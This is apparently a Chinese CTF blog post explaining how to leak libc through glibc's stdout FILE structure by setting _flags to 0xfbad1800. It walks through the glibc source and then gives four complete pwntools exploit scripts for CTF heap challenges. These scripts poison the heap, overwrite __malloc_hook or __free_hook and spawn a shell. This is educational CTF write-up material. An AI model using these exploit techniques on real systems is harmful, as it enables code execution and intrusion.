在堆题没有show函数时,我们可以用 IO_FILE 进行leak,本文就记录一下如何实现这一手法。

拿一个输出函数 puts 来说,它在源码里的表现形式为 _IO_puts 。

_IO_puts (const char *str)
{
int result = EOF;
_IO_size_t len = strlen (str);
_IO_acquire_lock (_IO_stdout); if ((_IO_vtable_offset (_IO_stdout) != 0
|| _IO_fwide (_IO_stdout, -1) == -1)
&& _IO_sputn (_IO_stdout, str, len) == len
&& _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
result = MIN (INT_MAX, len + 1); _IO_release_lock (_IO_stdout);
return result;
}

我们可以看到 _IO_puts 又调用了一个叫 _IO_sputn 的函数。

#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)

它是一个宏,它的作用就是调用 _IO_2_1_stdout_ 里 vtable 所指向的 _IO_XSPUTN,也就是 _IO_new_file_xsputn

_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
const char *s = (const char *) data;
_IO_size_t to_do = n;
int must_flush = 0;
_IO_size_t count = 0; ............
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */ /* Then fill the buffer. */
if (count > 0)
{
............
if (_IO_OVERFLOW (f, EOF) == EOF)

当 f->_IO_write_end > f->_IO_write_ptr 时,会调用 memcpy 拷贝数据至缓冲区。之后还会判断目标输出数据是否还有剩余。如果还有剩余就要调用 _IO_OVERFLOW 函数,刷新缓冲区。这个函数在 vtable 中为 _IO_overflow ,也就是 _IO_new_file_overflow 。

int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
/* Allocate a buffer if needed. */
if (f->_IO_write_base == NULL)
{
_IO_doallocbuf (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
/* Otherwise must be currently reading.
If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
logically slide the buffer forwards one block (by setting the
read pointers to all point at the beginning of the block). This
makes room for subsequent output.
Otherwise, set the read pointers to _IO_read_end (leaving that
alone, so it can continue to correspond to the external position). */
if (__glibc_unlikely (_IO_in_backup (f)))
{
size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
_IO_free_backup_area (f);
f->_IO_read_base -= MIN (nbackup,
f->_IO_read_base - f->_IO_buf_base);
f->_IO_read_ptr = f->_IO_read_base;
} if (f->_IO_read_ptr == f->_IO_buf_end)
f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
f->_IO_write_ptr = f->_IO_read_ptr;
f->_IO_write_base = f->_IO_write_ptr;
f->_IO_write_end = f->_IO_buf_end;
f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end; f->_flags |= _IO_CURRENTLY_PUTTING;
if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
f->_IO_write_end = f->_IO_write_ptr;
}
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
............

我们最后想用的就是 _IO_do_write (f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base) 通过它来执行系统调用write函数,来泄露 libc 。想调用它我们得先绕过几个检查:

1、f->_flags & _IO_NO_WRITES == 1 的话就会 EOF ,故我们要使 f->_flags & _IO_NO_WRITES == 0。

#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio. */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4 /* Reading not allowed */
#define _IO_NO_WRITES 8 /* Writing not allowd */
#define _IO_EOF_SEEN 0x10
#define _IO_ERR_SEEN 0x20
#define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. */
#define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/
#define _IO_IN_BACKUP 0x100
#define _IO_LINE_BUF 0x200
#define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
#define _IO_BAD_SEEN 0x4000
#define _IO_USER_LOCK 0x8000

2、(f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL ,这里我们如果这两个条件满足一个就会去执行一些其他的函数,我们最好将其绕过,f->_IO_write_base要泄露数据肯定是不为 NULL 的,故我们要做的就是使 (f->_flags & _IO_CURRENTLY_PUTTING) == 1 。

故满足上述条件 _flags & 8 == 0 , _flags & 0x800 == 1,且 _flags 魔数的常量为 0xfbad0000。 那么此时 _flags == 0xfbad0800。

跟进 _IO_do_write 后会进入 _IO_new_do_write 。

int
_IO_new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
return (to_do == 0
|| (_IO_size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
}
libc_hidden_ver (_IO_new_do_write, _IO_do_write)

其作用是调用 _IO_new_do_write

static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING)
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do);
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;
}

我们最后的目的就是调用_IO_SYSWRITE 来执行系统调用,但在执行系统调用之前我们会经过两个判断,在看了其他师傅的文章都说 else if的那个很难满足,故我们选择去满足前一个条件,及 fp->_flags & _IO_IS_APPENDING,之前 _flags == 0xfbad0800,现在又要满足 _flags & 0x1000 == 1,故我们 _flags == 0xfbad1800,即可满足所有条件。最后我们把 _IO_write_base 改为目标地址,之后在此次遇到puts等输出函数时,及可泄露出该地址里的值。

此外由于我们是通过覆盖 main_arena 来获得 _stdout 的地址的,故我们一定要爆破半字节。

de1ctf_2019_weapon

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug' libc = ELF('./glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so') def add(index,size,content):
s.sendlineafter(b'choice >> ',b'1')
s.sendlineafter(b'wlecome input your size of weapon: ',str(size))
s.sendlineafter(b'input index:',str(index))
s.sendafter(b'input your name:',content) def edit(index,content):
s.sendlineafter(b'choice >>',b'3')
s.sendlineafter(b'idx: ',str(index))
s.sendafter(b'new content:',content) def delete(index):
s.sendlineafter(b'choice >>',b'2')
s.sendlineafter(b'idx :',str(index))
def pwn():
add(0, 0x10 ,p64(0) + p64(0x21))
add(1, 0x10 ,b'bbbb')
add(2, 0x60 ,b'cccc')
add(3, 0x10 ,b'dddd') delete(0)
delete(1)
delete(0) add(0, 0x10 ,b'\x10')
add(1, 0x10 ,b'b')
add(0, 0x10 ,b'c')
add(4 ,0x10 ,p64(0) + p64(0x71))
edit(2,b'\x00'*0x48 + p64(0x71))
delete(1)
edit(4,p64(0) + p64(0x91))
delete(1)
#gdb.attach(s)
edit(1,b'\xdd\x85')
edit(4,p64(0) + p64(0x71)) #renew 0x70 fast bin add(5 , 0x60 ,b'eeee') payload = b'a'*0x33 + p64(0xfbad1800) + p64(0)*3 + b'\x48'
add(6 , 0x60 ,payload) libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) -131-libc.sym['_IO_2_1_stdout_']
if(libc_base < 0):
exit(0)
__malloc_hook = libc_base + libc.sym['__malloc_hook']
__free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
one_gadget = libc_base + 0xf0897
success(hex(libc_base))
add(5 , 0x60 ,b'eeee')
delete(5)
edit(5,p64(__malloc_hook-0x23))
add(5 , 0x60 ,b'/bin/sh\x00')
add(6, 0x60 ,b'a'*0x13 + p64(one_gadget))
#add(8,0x10,b'gggg')
#gdb.attach(s)
s.interactive() while True:
try:
s = process('./de1ctf_2019_weapon')
pwn()
except:
s.close()
'''
0x45206 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL 0x4525a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL 0xef9f4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL 0xf0897 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

nsctf_online_2019_pwn1

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug' libc = ELF('./glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so') def add(size,content):
s.recvuntil(b'exit\n')
s.sendline(b'1')
s.recvuntil(b'Input the size:\n')
s.sendline(str(size))
s.recvuntil(b'Input the content:')
s.send(content)
def delete(index):
s.recvuntil(b'exit\n')
s.sendline(b'2')
s.recvuntil(b'Input the index:\n')
s.sendline(str(index)) def edit(index,size,content):
s.recvuntil(b'exit\n')
s.sendline(b'4')
s.recvuntil(b'Input the index:\n')
s.sendline(str(index))
s.recvuntil(b'Input size:\n')
s.sendline(str(size))
s.recvuntil(b'Input new content:\n')
s.send(content) def pwn():
add(0x80 ,b'aaaa') #0
add(0x68 ,b'bbbb') #1
add(0xf0 ,b'cccc') #2
add(0x10 ,b'dddd') #3 delete(0)
edit(1 , 0x68 ,b'e'*0x60+p64(0x70+0x90))
delete(2)
add(0x80 ,b'aaaa') #0
add(0x68 ,b'bbbb') #2=1
add(0xf0 ,b'cccc') #4 delete(0)
edit(2 , 0x68 ,b'e'*0x60+p64(0x70+0x90))
delete(4) delete(1) #fast bin
add(0x80 ,b'aaaa') #0
delete(0)
add(0x80+0x10+2 ,b'a'*0x80 + p64(0) + p64(0x71) + p16((8<<12) + ((libc.sym['_IO_2_1_stdout_'] & 0xfff) - 0x43)))
add(0x68 ,b'bbbb') #1
payload = b'\x00'*0x33 + p64(0xfbad1887) + p64(0)*3 + b'\x88'
#gdb.attach(s)
add(0x59 ,payload)
libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['_IO_2_1_stdin_']
if(libc_base < 0):
exit(0)
success(hex(libc_base))
__malloc_hook = libc_base + libc.sym['__malloc_hook']
one_gadget = libc_base + 0xf0897 delete(1)
edit(2 , 0x8 ,p64(__malloc_hook-0x23))
add(0x68 ,b'b') #1
add(0x68 ,b'c'*0x13 + p64(one_gadget))
s.interactive() while True:
s = process('./nsctf_online_2019_pwn1')
try:
pwn()
except:
s.close()

roarctf_2019_realloc_magic

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug' #s = process('./roarctf_2019_realloc_magic')
libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so') def realloc(size,content):
s.recvuntil(b'>> ')
s.sendline(b'1')
s.recvuntil(b'Size?\n')
s.sendline(str(size))
s.recvuntil(b'Content?\n')
s.send(content) def delete():
s.recvuntil(b'>> ')
s.sendline(b'2') def backdoor():
s.recvuntil(b'>> ')
s.sendline(b'3')
def pwn():
realloc(0x70 ,b'aaaa')
realloc(0 ,b'')
realloc(0x100 ,b'bbbb')
realloc(0,b'')
realloc(0xa0 ,b'cccc')
realloc(0,b'')
#gdb.attach(s)
realloc(0x100 ,b'bbbb') for i in range(7):
delete()
realloc(0,b'')
realloc(0x70 ,b'aaaa')
realloc(0x180,b'c'*0x78+p64(0x41)+p8(0x60)+p8(0x87))
realloc(0 ,b'')
realloc(0x100 ,b'bbbb')
realloc(0,b'')
#gdb.attach(s)
realloc(0x100,p64(0xfbad1887)+p64(0)*3+p8(0x58))
libc_base = u64(s.recvuntil(b'\x7f',timeout=0.1)[-6:].ljust(8,b'\x00'))-libc.sym['_IO_file_jumps']
if(libc_base < 0):
exit(0)
success('libc_basse=>'+hex(libc_base))
__free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
one_gadget = libc_base + 0x4f322 s.sendline(b'666') realloc(0x120,b'a')
realloc(0,b'')
realloc(0x130,b'a')
realloc(0,b'')
realloc(0x170,b'a')
realloc(0,b'') realloc(0x130,b'a')
for i in range(7):
delete()
realloc(0,b'')
realloc(0x120,b'a')
realloc(0x260,b'a'*0x128+p64(0x41)+p64(__free_hook-8))
realloc(0,b'')
realloc(0x130,b'a')
realloc(0,b'')
realloc(0x130,b'/bin/sh\x00'+p64(system_addr))
delete()
#gdb.attach(s)
s.interactive() while True:
s = process('./roarctf_2019_realloc_magic')
#s = remote('node4.buuoj.cn',26297)
try:
pwn()
#s.interactive()
except:
s.close()

TWCTF_online_2019_asterisk_alloc

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug' libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so') def malloc(size,content):
s.recvuntil(b'=================================')
s.sendline(b'1')
s.recvuntil(b'Size: ')
s.sendline(str(size))
s.recvuntil(b'Data: ')
s.send(content) def calloc(size,content):
s.recvuntil(b'=================================')
s.sendline(b'2')
s.recvuntil(b'Size: ')
s.sendline(str(size))
s.recvuntil(b'Data: ')
s.send(content) def realloc(size,content):
s.recvuntil(b'=================================')
s.sendline(b'3')
s.recvuntil(b'Size: ')
s.sendline(str(size))
s.recvuntil(b'Data: ')
s.send(content) def delete(type):
s.recvuntil(b'=================================')
s.sendline(b'4')
s.recvuntil(b'Which: ')
s.sendline(type)
def pwn():
realloc(0x70 ,b'aaaa')
realloc(0 ,b'')
realloc(0x100 ,b'bbbb')
realloc(0 ,b'')
realloc(0xa0 ,b'bbbb')
realloc(0 ,b'') realloc(0x100 ,b'bbbb') for i in range(7):
delete(b'r') realloc(0 ,b'')
realloc(0x70 ,b'aaaa') payload = b'a'*0x78 + p64(0x41) +b'\x60\x67'
realloc(0x180 ,payload)
realloc(0 ,b'')
realloc(0x100 ,b'bbbb')
realloc(0 ,b'') payload = p64(0xfbad1887) + p64(0)*3 + b'\x58'
malloc(0x100 ,payload) libc_base = u64(s.recvuntil(b'\x7f',timeout=0.1)[-6:].ljust(8,b'\x00')) - 0x3e82a0
if(libc_base == -0x3e82a0):
exit(0)
success('libc_basse=>'+hex(libc_base))
__free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
one_gadget = libc_base + 0x4f322
realloc(0x120 ,b'aaaa')
realloc(0 ,b'')
realloc(0x130 ,b'bbbb')
realloc(0 ,b'')
realloc(0x170 ,b'bbbb')
realloc(0 ,b'') realloc(0x130 ,b'bbbb')
for i in range(7):
delete(b'r')
realloc(0 ,b'') realloc(0x120 ,b'aaaa') payload = b'a'*0x128 + p64(0x41) + p64(__free_hook-0x8)
realloc(0x260 ,payload)
realloc(0 ,b'')
realloc(0x130 ,b'bbbb')
realloc(0 ,b'') payload = b'/bin/sh\x00' + p64(system_addr)
realloc(0x130 ,payload)
delete(b'r') #gdb.attach(s)
s.interactive()
while True:
#s = process('./TWCTF_online_2019_asterisk_alloc')
s = remote('node4.buuoj.cn',29559)
try:
pwn()
#s.interactive()
except:
s.close()

参考文章

https://hollk.blog.csdn.net/article/details/113845320?spm=1001.2014.3001.5502

IO_FILE——leak 任意读的更多相关文章

  1. _IO_2_1_stdin_ 任意写及对 _IO_2_1_stdout_ 任意读的补充

    之前写过一篇 IO_FILE--leak 任意读,但是在学习的时候偷懒了,没有深入去看,这次碰到 winmt 师傅出的题,就傻眼了,故再写一篇博客来记录一下. 例题 ctfshow Incomplet ...

  2. linux 内核的另一个自旋锁 - 读写锁

    除spinlock外,linux 内核还有一个自旋锁,名为arch_rwlock_t.它的头文件是qrwlock.h,包含在spinlock.h,头文件中对它全称为"Queue read/w ...

  3. 格式化字符串漏洞利用实战之 njctf-decoder

    前言 格式化字符串漏洞也是一种比较常见的漏洞利用技术.ctf 中也经常出现. 本文以 njctf 线下赛的一道题为例进行实战. 题目链接:https://gitee.com/hac425/blog_d ...

  4. 见微知著(一):解析ctf中的pwn--Fast bin里的UAF

    在网上关于ctf pwn的入门资料和writeup还是不少的,但是一些过渡的相关知识就比较少了,大部分赛棍都是在不断刷题中总结和进阶的.所以我觉得可以把学习过程中的遇到的一些问题和技巧总结成文,供大家 ...

  5. [BUUCTF-Pwn]刷题记录1

    [BUUCTF-Pwn]刷题记录1 力争从今天(2021.3.23)开始每日至少一道吧--在这里记录一些栈相关的题目. 最近更新(2021.5.8) 如果我的解题步骤中有不正确的理解或不恰当的表述,希 ...

  6. Cyber Apocalypse 2021 pwn write up

    Controller 考点是整数溢出和scanf函数的引发的栈溢出漏洞,泄露libc地址将返回地址覆盖成one_gadgets拿到shell. 1 from pwn import * 2 3 p = ...

  7. [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇

    目录 [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇 格式化输出函数 printf函数族功能介绍 printf参数 type(类型) flags(标志) number(宽度) precisi ...

  8. C++11 并发指南七(C++11 内存模型一:介绍)

    第六章主要介绍了 C++11 中的原子类型及其相关的API,原子类型的大多数 API 都需要程序员提供一个 std::memory_order(可译为内存序,访存顺序) 的枚举类型值作为参数,比如:a ...

  9. NoSQL数据库笔谈(转)

    NoSQL数据库笔谈 databases , appdir , node , paper颜开 , v0.2 , 2010.2 序 思想篇 CAP 最终一致性 变体 BASE 其他 I/O的五分钟法则 ...

随机推荐

  1. F2BPM的流程仿真

    仿真概述 F2BPM工作流仿真是一种通过建立工作流虚拟运行环境执行工作流仿真的方法.集中式仿真引擎解释工作流仿真模型,仿真活动的执行,处理仿真过程中的不确定性,从而完成工作流模型的仿真.同时,会实时显 ...

  2. 【必杀】为应用程序池“XXX”提供服务的进程在与 Windows Process Activation Service 通信时出现严重错误。该进程 ID 为“XXXX”。数据字段包含错误号。

    之前写过一篇文章,https://www.cnblogs.com/qidian10/p/6028784.html 解释如何解决此类问题,但现在回过头来想一下,之前的文章还是太过浅显,无法完全有效的彻底 ...

  3. 给自己的网站装上SSL证书

    给网站装上SSL证书 前言 主要是因为自己的阿里云快过期了,自己的博客也重新用了一下Halo,重新安装SSL的时候有些地方忘了,所以在此留个记录! 关于SSL 阮一峰<图解图解SSL/TLS协议 ...

  4. 推荐召回--基于物品的协同过滤:ItemCF

    目录 1. 前言 2. 原理&计算&改进 3. 总结 1. 前言 说完基于用户的协同过滤后,趁热打铁,我们来说说基于物品的协同过滤:"看了又看","买了又 ...

  5. 前端页面禁止调试debugger方法汇总

    打开控制台直接跳转页面 //debug调试时跳转页面 var element = new Image(); Object.defineProperty(element,'id',{get:functi ...

  6. 元编程 (meta-programming)

    元编程 (meta-programming) 术语 meta:英语前缀词根,来源于希腊文.中国大陆一般翻译成"元". 在逻辑学中,可以理解为:关于X的更高层次,同时,这个更高层次的 ...

  7. Vue2和Vue3技术整理1 - 入门篇 - 更新完毕

    Vue2 0.前言 首先说明:要直接上手简单得很,看官网熟悉大概有哪些东西.怎么用的,然后简单练一下就可以做出程序来了,最多两天,无论Vue2还是Vue3,就都完全可以了,Vue3就是比Vue2多了一 ...

  8. Stream流的基本介绍以及在工作中的常用操作(去重、排序以及数学运算等)

    平时工作中,我在处理集合的时候,总是会用到各种流操作,但是往往在处理一些较为复杂的集合时,还是会出现无法灵活运用api的场景,这篇文章的目的,主要是为介绍一些工作中使用流时的常用操作,例如去重.排序和 ...

  9. 「NOI十联测」反函数

    30pts 令(为1,)为-1: 暴力枚举每个点为起始点的路径,一条路径是合法的当且仅当路径权值和为0且路径上没有出现过负数. 将所有答案算出. 100pts 使用点分治. 要求知道经过重心root的 ...

  10. java实现多线程生产者消费者模式

    1.概念 生产者消费者模式就是通过一个容器来解决生产者和消费者的强耦合问题.生产者和消费者彼此之间不直接通讯,而通过阻塞队列来进行通讯,所以生产者生产完数据之后不用等待消费者处理,直接扔给阻塞队列,消 ...